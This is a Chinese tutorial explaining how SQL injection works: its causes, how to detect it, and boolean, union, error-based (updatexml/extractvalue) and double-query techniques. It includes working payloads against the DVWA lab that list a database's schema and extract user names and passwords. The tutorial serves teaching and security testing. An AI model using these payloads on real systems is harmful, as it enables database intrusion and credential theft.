SQL注入原理是什么

本篇内容介绍了“SQL注入原理是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

0x01.SQL注入产生的因素

(1)不严格校验 (2)恶意修改 (3)成功拼接并执行

0x02.检测是否存在注入的方法:

1.判断是否有注入(判断是否有未严格校验),什么类型的注入
(1)可控参数的改变能否影响页面显示结果
(2)输入的sql语句是否能报错--能通过数据库的报错,可以看到一些语句痕迹
(3)输入的sql语句能否不报错--语句能够成功闭合
2.语句是否能够被恶意修改
3.是否能否成功执行
4.获取想要的数据

0x03.SQL注入类型简述1.布尔查询

or查询:可查到定义表中的字段值

2.union查询

(1)猜字段数 (select 1,2,3.... 或者 order by 1,order by 3... 都是看报错)
(2)如何获取库名,表名,字段名
(3)权限问题

3.information_schema(数据库字典)information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。 如数据库名,数据库的表,表栏的数据类型与访问权限等。 再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表, 每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema里面。 information_schema.schemata中的列schema_name记录了所有数据库的名字 information_schema.tables中的列table_schema记录了所有数据库的名字 information_schema.tables中的列table_name记录了所有数据库的表的名字 information_schema.columns中的列table_schema记录了所有数据库的名字 information_schema.columns中的列table_name记录了所有数据库的表的名字 information_schema.columns中的列column_name记录了所有数据库的表的列的名字

MySQL版本5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名。

5.0 以下是多用户单操作,5.0 以上是多用户多操做

example:   select concat(table_name) from information_schema.tables where table_schema=database()

4.手动注入

(1)基于错误的注入:判断注入点?单引号?
(2)基于布尔的注入:闭合前面的sql语句,构造or和and的逻辑语句,-- 用来注释后面所有语句
(3)基于union的注入:

user():当前用户名      database():当前数据库名      version():数据库版本信息'union select 1,table_schema from information_schema.tables -- hh  #查库名 'union select 1,table_name from information_shcema.tables where table_schema="..." #查当前库中所有表 'union select 1,column_name from information_schema.columns where table_name="..."  #查当前表中所有字段#concat实现字段拼接 'union select user,concat(first_name,'  ',last_name,'  ',password) from users -- ' #group_concat #concat_ws5.报错注入`(1)extractvalue(xml_document,Xpath_string)                        从目标XML中返回包含所查询值的字符串` `(2)Updatexml(xml_document,Xpath_string,new_value)      注入报错点在Xpath_string 位置,因此其它位置可以任意处理,譬如写1.`

DVWA Security='low':

1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# 0x7e为~的16进制ASCII码 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)# 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1)# 1' and updatexml(1,concat(0x7e,(select group_concat(user_id,last_name) from users),0x7e),1)#

其中:
XML_document是string格式,为XML文档对象的名称
Xpath_string(Xpath格式的字符串),自主学习。
new_value,string格式,替换查找到的符合条件的数据

6.双注入(双查询报错注入,两个select)

原理: 利用group by主键冲突报错获取数据库信息.

几个函数:

floor()                     #向下取整        rand()                      #返回(0,1)随机值,rand()*2 返回(0,2)随机值        floor(rand()*2)             # 向下取整则返回值为0或1.        group by                    #分组        count()                    #返回当前的表的所有的记录数

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。